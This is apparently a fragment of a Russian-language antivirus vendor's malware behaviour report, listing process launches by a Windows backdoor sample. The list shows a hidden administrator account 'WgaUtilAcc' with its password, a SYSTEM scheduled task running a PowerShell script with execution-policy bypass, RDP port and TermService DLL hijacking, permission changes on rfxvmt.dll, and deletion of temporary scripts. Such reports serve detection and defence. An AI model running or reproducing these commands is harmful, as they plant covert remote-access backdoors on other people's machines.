'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc GWW4H2XA' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C schtasks /create /tn 93904 /tr "powershell -nop -ep bypass -f %WINDIR%\help\24213.ps1" /ru system /sc hourly /mo 1' (со скрытым окном)
'<SYSTEM32>\userinit.exe' ' (со скрытым окном)
'%WINDIR%\syswow64\rundll32.exe' advpack.dll,LaunchINFSectionEx <SYSTEM32>\ieuinit.inf,Install,,36' (со скрытым окном)
'<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSectionEx <SYSTEM32>\ieuinit.inf,Install,,36' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\KBXXTLZMYRmod.ps1
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc GWW4H2XA
'<SYSTEM32>\net.exe' user WgaUtilAcc GWW4H2XA
'<SYSTEM32>\net1.exe' user WgaUtilAcc GWW4H2XA
'<SYSTEM32>\cmd.exe' /C schtasks /create /tn 93904 /tr "powershell -nop -ep bypass -f %WINDIR%\help\24213.ps1" /ru system /sc hourly /mo 1
'<SYSTEM32>\schtasks.exe' /create /tn 93904 /tr "powershell -nop -ep bypass -f %WINDIR%\help\24213.ps1" /ru system /sc hourly /mo 1
'<SYSTEM32>\smss.exe' 00000000 0000003c
'<SYSTEM32>\csrss.exe' ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitializa...
'<SYSTEM32>\winlogon.exe'
'<SYSTEM32>\rdpclip.exe'
'<SYSTEM32>\userinit.exe'
'%WINDIR%\explorer.exe'
'%WINDIR%\syswow64\ie4uinit.exe' -BaseSettings
'<SYSTEM32>\gpscript.exe' /RefreshSystemParam
'%WINDIR%\syswow64\rundll32.exe' advpack.dll,LaunchINFSectionEx <SYSTEM32>\ieuinit.inf,Install,,36
'<SYSTEM32>\regsvr32.exe' /s /n /i:/UserInstall <SYSTEM32>\themeui.dll
'<SYSTEM32>\rundll32.exe' uxtheme.dll,#64 %WINDIR%\resources\Themes\Aero\Aero.msstyles?NormalColor?NormalSize
'%ProgramFiles(x86)%\windows mail\winmail.exe' OCInstallUserConfigOE
'%ProgramFiles%\windows mail\winmail.exe' OCInstallUserConfigOE
'<SYSTEM32>\unregmp2.exe' /FirstLogon /Shortcuts /RegBrowsers /ResetMUI
'<SYSTEM32>\regsvr32.exe' /s /n /i:U shell32.dll
'%WINDIR%\syswow64\rundll32.exe' %WINDIR%\SysWOW64\mscories.dll,Install
'%ProgramFiles(x86)%\google\chrome\application\42.0.2311.135\installer\chrmstp.exe' --configure-user-settings --verbose-logging --system-level --multi-install --chrome
'%WINDIR%\syswow64\ie4uinit.exe' -UserIconConfig
'%WINDIR%\syswow64\ie4uinit.exe' -ClearIconCache
'%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\iedkcs32.dll",BrandIEActiveSetup SIGNUP
'<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
'<SYSTEM32>\ie4uinit.exe' -BaseSettings
'<SYSTEM32>\net.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
'<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" zttgrkyt$ /ADD
'<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
'<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
'<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
'<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
'<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
'<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
'<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %WINDIR%\help\tmp5211.dat /f
'<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
'<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc Ghasar4f5 /del
'<SYSTEM32>\cmd.exe' /c del %temp%\*.ps1 /f
'<SYSTEM32>\cmd.exe' /c del %temp%\*.txt /f
'<SYSTEM32>\net.exe' user WgaUtilAcc Ghasar4f5 /del
'<SYSTEM32>\net1.exe' user WgaUtilAcc Ghasar4f5 /del
'<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc GWW4H2XA /add
'<SYSTEM32>\net.exe' user WgaUtilAcc GWW4H2XA /add
'<SYSTEM32>\net1.exe' user WgaUtilAcc GWW4H2XA /add
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" zttgrkyt$ /ADD
'<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" zttgrkyt$ /ADD
'<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
'<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSectionEx <SYSTEM32>\ieuinit.inf,Install,,36

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней